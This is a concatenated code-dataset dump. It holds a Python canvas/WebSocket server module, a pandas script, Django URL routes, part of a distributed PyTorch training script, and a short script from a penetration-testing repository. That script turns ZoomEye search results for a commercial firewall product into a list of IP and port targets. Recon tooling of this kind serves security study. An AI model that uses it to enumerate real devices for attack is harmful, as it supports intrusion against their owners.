socketserver.TCPServer.allow_reuse_address = True\n _httpd = socketserver.TCPServer((\"\", _http_port), FileHandler)\n _httpd.serve_forever()\n\n\n#### pywebview\n\nif __name__ == \"__main__\":\n import webview\n webview.create_window(url=f\"http://localhost:{_http_port}/\",\n width=int(sys.argv[1]) or size[0], height=int(sys.argv[2]) or _size[1],\n title=\"G2D Canvas\", resizable=False)\n webview.start()\n sys.exit()\n\n\ndef start_webview(w, h):\n global _wv\n try:\n import webview\n _wv = subprocess.Popen([sys.executable, __file__, str(w), str(h)])\n except:\n print(f\"Open in browser: http://localhost:{_http_port}/\")\n webbrowser.open(f\"http://localhost:{_http_port}/\", new=0)\n\n\n#### g2d-ws\n\ndef start_websocket():\n class SocketHandler(WebSocket):\n def handleMessage(self):\n global _answer, _mouse_pos\n #print(self.data)\n with _cond:\n args = self.data.split(\" \", 1)\n if args[0] == \"answer\":\n _answer = args[1]\n _cond.notify_all()\n elif args[0] == \"mousemove\":\n _mouse_pos = tuple(map(int, args[1].split(\" \")))\n elif args[0] == \"keydown\":\n if args[1] in _released: _released.discard(args[1])\n else: _pressed.add(args[1])\n elif args[0] == \"keyup\":\n if args[1] in _pressed: _pressed.discard(args[1])\n else: _released.add(args[1])\n\n def handleConnected(self):\n global _ws\n with _cond:\n _ws = self\n _cond.notify_all()\n\n def handleClose(self):\n global _ws\n self.server.closing = True\n self.server.close()\n with _cond:\n _ws = None\n\n server = SimpleWebSocketServer(\"localhost\", _ws_port, SocketHandler)\n server.closing = False\n while not server.closing:\n server.serveonce()\n\n\n#### index.html\n\n_html = \"\"\"\n\n\n\n\nWebSocket Test\n\n\n\n\n\"\"\"\n\n\n#### websockets -- https://github.com/dpallot/simple-websocket-server\n\n'''\nThe MIT License (MIT)\nCopyright (c) 2013 Dave P.\n'''\nimport sys\nVER = sys.version_info[0]\nif VER >= 3:\n import socketserver\n from http.server import BaseHTTPRequestHandler\n from io import StringIO, BytesIO\nelse:\n import SocketServer\n from BaseHTTPServer import BaseHTTPRequestHandler\n from StringIO import StringIO\n\nimport hashlib\nimport base64\nimport socket\nimport struct\nimport ssl\nimport errno\nimport codecs\nfrom collections import deque\nfrom select import select\n\ndef _check_unicode(val):\n if VER >= 3:\n return isinstance(val, str)\n else:\n return isinstance(val, basestring)\n\nclass HTTPRequest(BaseHTTPRequestHandler):\n def __init__(self, request_text):\n if VER >= 3:\n self.rfile = BytesIO(request_text)\n else:\n self.rfile = StringIO(request_text)\n self.raw_requestline = self.rfile.readline()\n self.error_code = self.error_message = None\n self.parse_request()\n\n_VALID_STATUS_CODES = [1000, 1001, 1002, 1003, 1007, 1008,\n 1009, 1010, 1011, 3000, 3999, 4000, 4999]\n\nHANDSHAKE_STR = (\n \"HTTP/1.1 101 Switching Protocols\\r\\n\"\n \"Upgrade: WebSocket\\r\\n\"\n \"Connection: Upgrade\\r\\n\"\n \"Sec-WebSocket-Accept: %(acceptstr)s\\r\\n\\r\\n\"\n)\n\nFAILED_HANDSHAKE_STR = (\n \"HTTP/1.1 426 Upgrade Required\\r\\n\"\n \"Upgrade: WebSocket\\r\\n\"\n \"Connection: Upgrade\\r\\n\"\n \"Sec-WebSocket-Version: 13\\r\\n\"\n \"Content-Type: text/plain\\r\\n\\r\\n\"\n \"This service requires use of the WebSocket protocol\\r\\n\"\n)\n\nGUID_STR = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'\n\nSTREAM = 0x0\nTEXT = 0x1\nBINARY = 0x2\nCLOSE = 0x8\nPING = 0x9\nPONG = 0xA\n\nHEADERB1 = 1\nHEADERB2 = 3\nLENGTHSHORT = 4\nLENGTHLONG = 5\nMASK = 6\nPAYLOAD = 7\n\nMAXHEADER = 65536\nMAXPAYLOAD = 33554432\n\nclass WebSocket(object):\n\n def __init__(self, server, sock, address):\n self.server = server\n self.client = sock\n self.address = address\n\n self.handshaked = False\n self.headerbuffer = bytearray()\n self.headertoread = 2048\n\n self.fin = 0\n self.data = bytearray()\n self.opcode = 0\n self.hasmask = 0\n self.maskarray = None\n self.length = 0\n self.lengtharray = None\n self.index = 0\n self.request = None\n self.usingssl = False\n\n self.frag_start = False\n self.frag_type = BINARY\n self.frag_buffer = None\n self.frag_decoder = codecs.getincrementaldecoder('utf-8')(errors='strict')\n self.closed = False\n self.sendq = deque()\n\n self.state = HEADERB1\n\n # restrict the size of header and payload for security reasons\n self.maxheader = MAXHEADER\n self.maxpayload = MAXPAYLOAD\n\n def handleMessage(self):\n \"\"\"\n Called when websocket frame is received.\n To access the frame data call self.data.\n\n If the frame is Text then self.data is a unicode object.\n If the frame is Binary then self.data is a bytearray object.\n \"\"\"\n pass\n\n def handleConnected(self):\n \"\"\"\n Called when a websocket client connects to the server.\n \"\"\"\n pass\n\n def handleClose(self):\n \"\"\"\n Called when a websocket server gets a Close frame from a client.\n \"\"\"\n pass\n\n def _handlePacket(self):\n if self.opcode == CLOSE:\n pass\n elif self.opcode == STREAM:\n pass\n elif self.opcode == TEXT:\n pass\n elif self.opcode == BINARY:\n pass\n elif self.opcode == PONG or self.opcode == PING:\n if len(self.data) > 125:\n raise Exception('control frame length can not be > 125')\n else:\n # unknown or reserved opcode so just close\n raise Exception('unknown opcode')\n\n if self.opcode == CLOSE:\n status = 1000\n reason = u''\n length = len(self.data)\n\n if length == 0:\n pass\n elif length >= 2:\n status = struct.unpack_from('!H', self.data[:2])[0]\n reason = self.data[2:]\n\n if status not in _VALID_STATUS_CODES:\n status = 1002\n\n if len(reason) > 0:\n try:\n reason = reason.decode('utf8', errors='strict')\n except:\n status = 1002\n else:\n status = 1002\n\n self.close(status, reason)\n return\n\n elif self.fin == 0:\n if self.opcode != STREAM:\n if self.opcode == PING or self.opcode == PONG:\n raise Exception('control messages can not be fragmented')\n\n self.frag_type = self.opcode\n self.frag_start = True\n self.frag_decoder.reset()\n\n if self.frag_type == TEXT:\n self.frag_buffer = []\n utf_str = self.frag_decoder.decode(self.data, final = False)\n if utf_str:\n self.frag_buffer.append(utf_str)\n else:\n self.frag_buffer = bytearray()\n self.frag_buffer.extend(self.data)\n\n else:\n if self.frag_start is False:\n raise Exception('fragmentation protocol error')\n\n if self.frag_type == TEXT:\n utf_str = self.frag_decoder.decode(self.data, final = False)\n if utf_str:\n self.frag_buffer.append(utf_str)\n else:\n self.frag_buffer.extend(self.data)\n\n else:\n if self.opcode == STREAM:\n if self.frag_start is False:\n raise Exception('fragmentation protocol error')\n\n if self.frag_type == TEXT:\n utf_str = self.frag_decoder.decode(self.data, final = True)\n self.frag_buffer.append(utf_str)\n self.data = u''.join(self.frag_buffer)\n else:\n self.frag_buffer.extend(self.data)\n self.data = self.frag_buffer\n\n self.handleMessage()\n\n self.frag_decoder.reset()\n self.frag_type = BINARY\n self.frag_start = False\n self.frag_buffer = None\n\n elif self.opcode == PING:\n self._sendMessage(False, PONG, self.data)\n\n elif self.opcode == PONG:\n pass\n\n else:\n if self.frag_start is True:\n raise Exception('fragmentation protocol error')\n\n if self.opcode == TEXT:\n try:\n self.data = self.data.decode('utf8', errors='strict')\n except Exception as exp:\n raise Exception('invalid utf-8 payload')\n\n self.handleMessage()\n\n\n def _handleData(self):\n # do the HTTP header and handshake\n if self.handshaked is False:\n\n data = self.client.recv(self.headertoread)\n if not data:\n raise Exception('remote socket closed')\n\n else:\n # accumulate\n self.headerbuffer.extend(data)\n\n if len(self.headerbuffer) >= self.maxheader:\n raise Exception('header exceeded allowable size')\n\n # indicates end of HTTP header\n if b'\\r\\n\\r\\n' in self.headerbuffer:\n self.request = HTTPRequest(self.headerbuffer)\n\n # handshake rfc 6455\n try:\n key = self.request.headers['Sec-WebSocket-Key']\n k = key.encode('ascii') + GUID_STR.encode('ascii')\n k_s = base64.b64encode(hashlib.sha1(k).digest()).decode('ascii')\n hStr = HANDSHAKE_STR % {'acceptstr': k_s}\n self.sendq.append((BINARY, hStr.encode('ascii')))\n self.handshaked = True\n self.handleConnected()\n except Exception as e:\n hStr = FAILED_HANDSHAKE_STR\n self._sendBuffer(hStr.encode('ascii'), True)\n self.client.close()\n raise Exception('handshake failed: %s', str(e))\n\n # else do normal data\n else:\n data = self.client.recv(16384)\n if not data:\n raise Exception(\"remote socket closed\")\n\n if VER >= 3:\n for d in data:\n self._parseMessage(d)\n else:\n for d in data:\n self._parseMessage(ord(d))\n\n def close(self, status = 1000, reason = u''):\n \"\"\"\n Send Close frame to the client. The underlying socket is only closed\n when the client acknowledges the Close frame.\n\n status is the closing identifier.\n reason is the reason for the close.\n \"\"\"\n try:\n if self.closed is False:\n close_msg = bytearray()\n close_msg.extend(struct.pack(\"!H\", status))\n if _check_unicode(reason):\n close_msg.extend(reason.encode('utf-8'))\n else:\n close_msg.extend(reason)\n\n self._sendMessage(False, CLOSE, close_msg)\n\n finally:\n self.closed = True\n\n\n def _sendBuffer(self, buff, send_all = False):\n size = len(buff)\n tosend = size\n already_sent = 0\n\n while tosend > 0:\n try:\n # i should be able to send a bytearray\n sent = self.client.send(buff[already_sent:])\n if sent == 0:\n raise RuntimeError('socket connection broken')\n\n already_sent += sent\n tosend -= sent\n\n except socket.error as e:\n # if we have full buffers then wait for them to drain and try again\n if e.errno in [errno.EAGAIN, errno.EWOULDBLOCK]:\n if send_all:\n continue\n return buff[already_sent:]\n else:\n raise e\n\n return None\n\n def sendFragmentStart(self, data):\n \"\"\"\n Send the start of a data fragment stream to a websocket client.\n Subsequent data should be sent using sendFragment().\n A fragment stream is completed when sendFragmentEnd() is called.\n\n If data is a unicode object then the frame is sent as Text.\n If the data is a bytearray object then the frame is sent as Binary.\n \"\"\"\n opcode = BINARY\n if _check_unicode(data):\n opcode = TEXT\n self._sendMessage(True, opcode, data)\n\n def sendFragment(self, data):\n \"\"\"\n see sendFragmentStart()\n\n If data is a unicode object then the frame is sent as Text.\n If the data is a bytearray object then the frame is sent as Binary.\n \"\"\"\n self._sendMessage(True, STREAM, data)\n\n def sendFragmentEnd(self, data):\n \"\"\"\n see sendFragmentEnd()\n\n If data is a unicode object then the frame is sent as Text.\n If the data is a bytearray object then the frame is sent as Binary.\n \"\"\"\n self._sendMessage(False, STREAM, data)\n\n def sendMessage(self, data):\n \"\"\"\n Send websocket data frame to the client.\n\n If data is a unicode object then the frame is sent as Text.\n If the data is a bytearray object then the frame is sent as Binary.\n \"\"\"\n opcode = BINARY\n if _check_unicode(data):\n opcode = TEXT\n self._sendMessage(False, opcode, data)\n\n\n def _sendMessage(self, fin, opcode, data):\n\n payload = bytearray()\n\n b1 = 0\n b2 = 0\n if fin is False:\n b1 |= 0x80\n b1 |= opcode\n\n if _check_unicode(data):\n data = data.encode('utf-8')\n\n length = len(data)\n payload.append(b1)\n\n if length <= 125:\n b2 |= length\n payload.append(b2)\n\n elif length >= 126 and length <= 65535:\n b2 |= 126\n payload.append(b2)\n payload.extend(struct.pack(\"!H\", length))\n\n else:\n b2 |= 127\n payload.append(b2)\n payload.extend(struct.pack(\"!Q\", length))\n\n if length > 0:\n payload.extend(data)\n\n self.sendq.append((opcode, payload))\n\n\n def _parseMessage(self, byte):\n # read in the header\n if self.state == HEADERB1:\n\n self.fin = byte & 0x80\n self.opcode = byte & 0x0F\n self.state = HEADERB2\n\n self.index = 0\n self.length = 0\n self.lengtharray = bytearray()\n self.data = bytearray()\n\n rsv = byte & 0x70\n if rsv != 0:\n raise Exception('RSV bit must be 0')\n\n elif self.state == HEADERB2:\n mask = byte & 0x80\n length = byte & 0x7F\n\n if self.opcode == PING and length > 125:\n raise Exception('ping packet is too large')\n\n if mask == 128:\n self.hasmask = True\n else:\n self.hasmask = False\n\n if length <= 125:\n self.length = length\n\n # if we have a mask we must read it\n if self.hasmask is True:\n self.maskarray = bytearray()\n self.state = MASK\n else:\n # if there is no mask and no payload we are done\n if self.length <= 0:\n try:\n self._handlePacket()\n finally:\n self.state = HEADERB1\n self.data = bytearray()\n\n # we have no mask and some payload\n else:\n #self.index = 0\n self.data = bytearray()\n self.state = PAYLOAD\n\n elif length == 126:\n self.lengtharray = bytearray()\n self.state = LENGTHSHORT\n\n elif length == 127:\n self.lengtharray = bytearray()\n self.state = LENGTHLONG\n\n\n elif self.state == LENGTHSHORT:\n self.lengtharray.append(byte)\n\n if len(self.lengtharray) > 2:\n raise Exception('short length exceeded allowable size')\n\n if len(self.lengtharray) == 2:\n self.length = struct.unpack_from('!H', self.lengtharray)[0]\n\n if self.hasmask is True:\n self.maskarray = bytearray()\n self.state = MASK\n else:\n # if there is no mask and no payload we are done\n if self.length <= 0:\n try:\n self._handlePacket()\n finally:\n self.state = HEADERB1\n self.data = bytearray()\n\n # we have no mask and some payload\n else:\n #self.index = 0\n self.data = bytearray()\n self.state = PAYLOAD\n\n elif self.state == LENGTHLONG:\n\n self.lengtharray.append(byte)\n\n if len(self.lengtharray) > 8:\n raise Exception('long length exceeded allowable size')\n\n if len(self.lengtharray) == 8:\n self.length = struct.unpack_from('!Q', self.lengtharray)[0]\n\n if self.hasmask is True:\n self.maskarray = bytearray()\n self.state = MASK\n else:\n # if there is no mask and no payload we are done\n if self.length <= 0:\n try:\n self._handlePacket()\n finally:\n self.state = HEADERB1\n self.data = bytearray()\n\n # we have no mask and some payload\n else:\n #self.index = 0\n self.data = bytearray()\n self.state = PAYLOAD\n\n # MASK STATE\n elif self.state == MASK:\n self.maskarray.append(byte)\n\n if len(self.maskarray) > 4:\n raise Exception('mask exceeded allowable size')\n\n if len(self.maskarray) == 4:\n # if there is no mask and no payload we are done\n if self.length <= 0:\n try:\n self._handlePacket()\n finally:\n self.state = HEADERB1\n self.data = bytearray()\n\n # we have no mask and some payload\n else:\n #self.index = 0\n self.data = bytearray()\n self.state = PAYLOAD\n\n # PAYLOAD STATE\n elif self.state == PAYLOAD:\n if self.hasmask is True:\n self.data.append( byte ^ self.maskarray[self.index % 4] )\n else:\n self.data.append( byte )\n\n # if length exceeds allowable size then we except and remove the connection\n if len(self.data) >= self.maxpayload:\n raise Exception('payload exceeded allowable size')\n\n # check if we have processed length bytes; if so we are done\n if (self.index+1) == self.length:\n try:\n self._handlePacket()\n finally:\n #self.index = 0\n self.state = HEADERB1\n self.data = bytearray()\n else:\n self.index += 1\n\n\nclass SimpleWebSocketServer(object):\n def __init__(self, host, port, websocketclass, selectInterval = 0.1):\n self.websocketclass = websocketclass\n\n if (host == ''):\n host = None\n\n if host is None:\n fam = socket.AF_INET6\n else:\n fam = 0\n\n hostInfo = socket.getaddrinfo(host, port, fam, socket.SOCK_STREAM, socket.IPPROTO_TCP, socket.AI_PASSIVE)\n self.serversocket = socket.socket(hostInfo[0][0], hostInfo[0][1], hostInfo[0][2])\n self.serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.serversocket.bind(hostInfo[0][4])\n self.serversocket.listen(5)\n self.selectInterval = selectInterval\n self.connections = {}\n self.listeners = [self.serversocket]\n\n def _decorateSocket(self, sock):\n return sock\n\n def _constructWebSocket(self, sock, address):\n return self.websocketclass(self, sock, address)\n\n def close(self):\n self.serversocket.close()\n\n for desc, conn in self.connections.items():\n conn.close()\n self._handleClose(conn)\n\n def _handleClose(self, client):\n client.client.close()\n # only call handleClose when we have a successful websocket connection\n if client.handshaked:\n try:\n client.handleClose()\n except:\n pass\n\n def serveonce(self):\n writers = []\n for fileno in self.listeners:\n if fileno == self.serversocket:\n continue\n client = self.connections[fileno]\n if client.sendq:\n writers.append(fileno)\n\n rList, wList, xList = select(self.listeners, writers, self.listeners, self.selectInterval)\n\n for ready in wList:\n client = self.connections[ready]\n try:\n while client.sendq:\n opcode, payload = client.sendq.popleft()\n remaining = client._sendBuffer(payload)\n if remaining is not None:\n client.sendq.appendleft((opcode, remaining))\n break\n else:\n if opcode == CLOSE:\n raise Exception('received client close')\n\n except Exception as n:\n self._handleClose(client)\n del self.connections[ready]\n self.listeners.remove(ready)\n\n for ready in rList:\n if ready == self.serversocket:\n sock = None\n try:\n sock, address = self.serversocket.accept()\n newsock = self._decorateSocket(sock)\n newsock.setblocking(0)\n fileno = newsock.fileno()\n self.connections[fileno] = self._constructWebSocket(newsock, address)\n self.listeners.append(fileno)\n except Exception as n:\n if sock is not None:\n sock.close()\n else:\n if ready not in self.connections:\n continue\n client = self.connections[ready]\n try:\n client._handleData()\n except Exception as n:\n self._handleClose(client)\n del self.connections[ready]\n self.listeners.remove(ready)\n\n for failed in xList:\n if failed == self.serversocket:\n self.close()\n raise Exception('server socket failed')\n else:\n if failed not in self.connections:\n continue\n client = self.connections[failed]\n self._handleClose(client)\n del self.connections[failed]\n self.listeners.remove(failed)\n\n def serveforever(self):\n while True:\n self.serveonce()\n\nclass SimpleSSLWebSocketServer(SimpleWebSocketServer):\n\n def __init__(self, host, port, websocketclass, certfile = None,\n keyfile = None, version = ssl.PROTOCOL_TLSv1, selectInterval = 0.1, ssl_context = None):\n\n SimpleWebSocketServer.__init__(self, host, port,\n websocketclass, selectInterval)\n\n if ssl_context is None:\n self.context = ssl.SSLContext(version)\n self.context.load_cert_chain(certfile, keyfile)\n else:\n self.context = ssl_context\n\n def close(self):\n super(SimpleSSLWebSocketServer, self).close()\n\n def _decorateSocket(self, sock):\n sslsock = self.context.wrap_socket(sock, server_side=True)\n return sslsock\n\n def _constructWebSocket(self, sock, address):\n ws = self.websocketclass(self, sock, address)\n ws.usingssl = True\n return ws\n\n def serveforever(self):\n super(SimpleSSLWebSocketServer, self).serveforever()\n","sub_path":"g2d.py","file_name":"g2d.py","file_ext":"py","file_size_in_byte":31247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"77547481","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 11 07:32:48 2020\n\n@author: Rafael\n\"\"\"\n\nimport pandas as pd\n\npath_guardado = \"C://Users//Equipo//Documents//Gitkraken//py-vinueza-garcia-rafael-eduardo//03-pandas//data//artwork_data.pickle\"\n\ndf = pd.read_pickle(path_guardado)\n\nserie_artistas_dup = df['artist']\n\nartistas = pd.unique(serie_artistas_dup)\nprint(type(artistas)) #numpy array\nprint(artistas.size)\n\nblake = df['artist'] == 'Blake, William' #Serie\nprint(blake.value_counts())\ndf_blake = df[blake] #Dataframe","sub_path":"03-pandas/f_indices_filtrado.py","file_name":"f_indices_filtrado.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"322950833","text":"from . import views\nfrom django.urls import path\n\n\nurlpatterns = [\n path('owner/profile/', views.index, name='profile'),\n path('owner/all/', views.list_owner, name='all-owners'),\n path('owner/new', views.form_owner, name='new-owner'),\n path('vehicle/all', views.VehicleListView.as_view(), name='all-vehicles'),\n path('vehicle/new', views.VehicleCreate.as_view(), name='new-vehicle'),\n]\n","sub_path":"students/y2336/practical_works/Bondarev_Nikita/Practice#2-3/auto_blog/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"2571343","text":"def main():\n with open(\"网康下一代防火墙_20_1618384827.json\", \"r\") as f_r:\n with open(\"ip.txt\", \"w\") as f_w:\n lines = f_r.readlines();\n for line in lines:\n protocol = line.split()[5].strip(\"}\").strip(\"'\");\n ip = line.split()[1].strip(\",\").strip(\"'\");\n port = line.split()[3].strip(\",\");\n f_w.write(protocol + \"://\" + ip + \":\" + port + \"\\n\");\n\nmain();\n","sub_path":"1-Web打点/2-资产收集(寻找隐蔽脆弱点)/2021_01_18_ZoomEye搜索结果提取工具/zoomeye-python-auxiliary.py","file_name":"zoomeye-python-auxiliary.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"486020710","text":"# in this script, we will simulate N workers on each GPU\n# the way to simulate is to calculate gradient for N times, and then conduct communication\n\nimport os\nimport time\nimport json\nimport math\nimport random\nimport datetime\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.distributed as dist\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom collections import defaultdict\nimport argparse\nimport logging\n\nfrom torch.autograd import Variable\nfrom gradient_reducers import StochasticUniformQuantization, SignSGDwithMajorityVoteReducerSimulation\n\nfrom torch.optim import lr_scheduler\nfrom warmup_scheduler import GradualWarmupScheduler\n\n\nfrom utils import *\n\n# added files\n# import grad_utils\nimport train_network\nimport sparsify_gradient\nfrom torch._utils import _flatten_dense_tensors, _unflatten_dense_tensors\n\n# commit to say powersgd wrap\nauto_scale_high = 2\nauto_scale_low = 1\n\n\nimagenet_vanilla_config = {\n \"name\" : \"imagenet\",\n \"arch\" : \"resnet50\",\n \"is_lowrank\": False,\n \"rank_factor\": 4,\n \"dataset\" : \"imagenet\",\n \"weight_decay\": 0.0001,\n \"optimizer_weight_decay_conv\":0.0001,\n \"optimizer_weight_decay_other\":0.0001,\n \"optimizer_weight_decay_bn\":0.0,\n \"device\" : \"cuda:0\",\n \"data_path\": \"/home/ubuntu/data\",\n \"num_dataloader_threads\": 8,\n \"train_batch_size\": 16,\n \"test_batch_size\": 128,\n \"init_lr\": 0.0001,\n \"momentum\": 0.9,\n \"num_epochs\": 90,\n \"decay_steps\" : [30, 60, 80],\n \"decay_factor\" : 10,\n \"warmup_epoch\": 5,\n \"lr_decay_period\": [50,150],\n \"lr_decay_factor\":0.1,\n \"multiplier\": 16,\n \"switch_freq\":10,\n \"grad_comb\":True,\n \"early_bird\":False,\n \"scratch\":\"./EBTrain-ImageNet/ResNet50/pruned_7008_0.7/pruned.pth.tar\",\n \"warmup_epochs\" : 5 #for learning rate scheduling\n}\n\n\nimagenet_pufferfish_config = {\n \"name\" : \"imagenet\",\n \"arch\" : \"hybrid_resnet50\",\n \"is_lowrank\": True,\n \"rank_factor\": 4,\n \"dataset\" : \"imagenet\",\n \"weight_decay\": 0.0001,\n \"optimizer_weight_decay_conv\":0.0001,\n \"optimizer_weight_decay_other\":0.0001,\n \"optimizer_weight_decay_bn\":0.0,\n \"device\" : \"cuda:0\",\n \"data_path\": \"/home/ubuntu/data\",\n \"num_dataloader_threads\": 8,\n \"train_batch_size\": 16,\n \"test_batch_size\": 128,\n \"init_lr\": 0.1,\n \"momentum\": 0.9,\n \"num_epochs\": 90,\n \"decay_steps\" : [30, 60, 80],\n \"decay_factor\" : 10,\n \"warmup_epoch\": 5,\n \"lr_decay_period\": [50,150],\n \"lr_decay_factor\":0.1,\n \"multiplier\": 16,\n \"switch_freq\":10,\n \"grad_comb\":True,\n \"early_bird\":False,\n \"scratch\":\"./EBTrain-ImageNet/ResNet50/pruned_7008_0.7/pruned.pth.tar\",\n \"warmup_epochs\" : 5 #for learning rate scheduling\n}\n\n\ncifar10_config = {\n \"name\" : \"CNN\",\n \"arch\" : \"ResNet18\",\n \"dataset\" : \"Cifar10\",\n \"device\" : \"cuda:0\",\n \"data_path\" : \"./data/cifar10\",\n \"num_dataloader_threads\" : 1,\n \"train_batch_size\" : 128,\n \"test_batch_size\" : 128,\n \"optimizer_weight_decay_conv\":0.0001,\n \"optimizer_weight_decay_other\":0.0001,\n \"optimizer_weight_decay_bn\":0.0,\n \"init_lr\" : 0.0002,\n \"momentum\": 0.9,\n \"num_epochs\": 300,\n \"decay_steps\": [150, 250],\n \"decay_factor\" : [10, 10], # divide init lr with this\n \"switch_freq\" : 10,\n \"warmup_epochs\" : 5, #for learning rate scheduling\n \"grad_comb\":True\n}\n\n\ndef add_fit_args(parser):\n \"\"\"\n parser : argparse.ArgumentParser\n return a parser added with args required by fit\n \"\"\"\n parser.add_argument(\"--norm-thresh\", default=0.2, type=float,\n help=\"norm thresh for layer\")\n parser.add_argument(\"--model-type\", default=\"languageModel\", type=str,\n help=\"type of model helps to select the right config\")\n #parser.add_argument(\"--auto-switch\", default=False, action=\"store_true\",\n # help=\"Enables automatic switching\")\n # the presence of fixed-k in args will make the value true\n #parser.add_argument(\"--fixed-k\", default=False, action=\"store_true\",\n # help=\"Indicates if we want to use a fixed k\")\n #parser.add_argument(\"--k\", default=None, type=int, \n # help= \"If fixed-k is true then uses this for training\")\n parser.add_argument(\"--num-simulated-nodes\", default=1, type=int, \n help= \"number of nodes to simulate.\")\n parser.add_argument(\"--norm-file\", type=str, \n default=\"wikitext_lstm_full_rank.json\")\n #parser.add_argument(\"--start-k\", default=False, action=\"store_true\",\n # help=\"starts with a k\")\n #parser.add_argument(\"--k-start\", default=None, type= int,\n # help = \"Fix the start k\")\n #parser.add_argument(\"--fixed-sched\", default=False, action=\"store_true\",\n # help=\"follow a fixed schedule\")\n parser.add_argument(\"--zero-memory\", default=False, action=\"store_true\")\n parser.add_argument(\"--compressor\", type=str, default=\"vanilla\", help=\"which gradient compressor to use.\")\n parser.add_argument(\"--config-mode\", type=str, default=\"vanilla\", help=\"which framework to use: pufferfish|vanilla.\")\n\n # distributed arguments\n parser.add_argument(\"--distributed\", default=False, action=\"store_true\",\n help=\"Indicates if we have to use distributed\")\n parser.add_argument(\"--master-ip\", default=None, type=str,\n help=\"Master IP for NCCL/MPI\")\n parser.add_argument(\"--num-nodes\", default=0, type=int,\n help=\"Indicate number of nodes\")\n parser.add_argument(\"--rank\", default=0, type=int,\n help=\"Rank of this node\")\n\n args = parser.parse_args()\n\n return args\n\ndef seed(seed):\n # seed = 1234\n random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n np.random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n #TODO: Do we need deterministic in cudnn ? Double check\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n print (\"Seeded everything\")\n\ndef get_lr(config, epoch_num):\n \"\"\"\n Return learning rate in case of the time \n \"\"\"\n max_factor = torch.distributed.get_world_size()\n factor = 1.0 + (max_factor - 1.0) *min(epoch_num/config['warmup_epochs'], 1.0)\n if config['name'] == \"CNN\" or config['name'] == 'cifar100' or config['name'] == 'svhn':\n if epoch_num <= 150:\n new_lr = config['init_lr']\n return new_lr\n elif epoch_num > 150 and epoch_num <=250:\n new_lr = config['init_lr']/10.0\n return new_lr\n elif epoch_num > 250:\n new_lr = config['init_lr']/100.0\n return new_lr\n else:\n print (\"Something went wrong in learning rate selection\")\n if config['name'] == 'imagenet':\n if epoch_num in range(30):\n new_lr = config['init_lr']\n elif epoch_num in range(30, 60):\n new_lr = config['init_lr']/10.0\n elif epoch_num in range(60, 80):\n new_lr = config['init_lr']/100.0\n elif epoch_num in range(80, 90):\n new_lr = config['init_lr']/1000.0\n else:\n raise NotImplementedError(\"Invalid Epoch ....\")\n return new_lr\n\n\ndef add_weight_decay(model, weight_decay=1e-5, skip_list=()):\n decay = []\n no_decay = []\n for name, param in model.named_parameters():\n if not param.requires_grad:\n continue\n if len(param.shape) == 1 or name in skip_list:\n no_decay.append(param)\n else:\n decay.append(param)\n return [\n {'params': no_decay, 'weight_decay': 0.},\n {'params': decay, 'weight_decay': weight_decay}]\n\n\ndef vectorize_grad(grad_train):\n #return torch.cat([grad_value.view(-1) for grad_value in grad_train])\n # better implementation?\n return _flatten_dense_tensors(grad_train)\n\ndef devectorize_grad(reduced_grad, model):\n out_grad_list = []\n index_bias = 0\n for p_index, p in enumerate(model.parameters()):\n out_grad_list.append(reduced_grad[index_bias:index_bias+p.numel()].view(p.size()))\n index_bias += p.numel()\n return out_grad_list\n\n\ndef replace_grad_by_momentum(grad, momentum):\n \"\"\"\n Inplace operation that applies momentum to a gradient.\n This distinguishes between types of momentum (heavy-ball vs nesterov)\n \"\"\"\n grad[:] = momentum\n\n\ndef main(args):\n chosen_method_log = dict() # this writes things when method is changed\n current_method_log = dict() # this will monitor what is the current method \n candidate_method_stat = dict() # this tracks the thresh for all candidate method\n timing_log = defaultdict(list)\n floats_communicated = dict()\n #grad_calc_dict = dict()\n ratio_calc_dict = dict()\n compute_time_per_dict = defaultdict(dict)\n breakdown_time_log_dict = dict()\n\n prev_norm = None\n json_f_name =os.path.basename(args.norm_file).split('.')[0] + '.json'\n current_method_log_fname = os.path.basename(\n args.norm_file).split('.')[0] + \"_per_epoch_method.json\"\n candidate_methods_stat_fname = os.path.basename(\n args.norm_file).split('.')[0] + \"_candidate_method_stats.json\"\n timing_log_fname = os.path.basename(\n args.norm_file).split('.')[0] + \"_timing_log.json\"\n bytes_log_fname = os.path.basename(\n args.norm_file).split('.')[0] + \"_floats_communicated.json\"\n ratio_log_fname = os.path.basename(\n args.norm_file).split('.')[0] + \"_ratio_vals.json\"\n grad_calc_fname = os.path.basename(\n args.norm_file).split('.')[0] + \"_grad_norm_vals.json\"\n per_iteration_compute_time_log = os.path.basename(\n args.norm_file).split('.')[0] + \"_per_iteration_compute_time.json\"\n breakdown_time_log_fname = os.path.basename(\n args.norm_file).split('.')[0] + \"_per_epoch_breakdown_time.json\"\n\n #TODO: Clean this up to manually select the model \n if args.model_type == \"CNN\":\n config = cifar_config\n elif args.model_type == \"languageModel\":\n config = lstm_config\n elif args.model_type == \"newlanguageModel\":\n config = new_lstm_config\n elif args.model_type == \"imagenet\":\n #config = imagenet_config\n if args.config_mode == \"vanilla\":\n config = imagenet_vanilla_config\n elif args.config_mode == \"pufferfish\":\n config = imagenet_pufferfish_config\n else:\n raise NotImplementedError(\"unsupported config mode ...\")\n elif args.model_type == \"cifar10\":\n config = cifar10_config\n elif args.model_type == \"svhn\":\n config = svhn_config\n elif args.model_type == \"squeezenet_cifar\":\n config = cifar_squeezenet_config\n else:\n raise NotImplemented(\"{} not NotImplemented\".format(args.model_type))\n config['is_distributed'] = False # adding a new key in the config\n if args.distributed:\n print (\"Initializing distributed\")\n 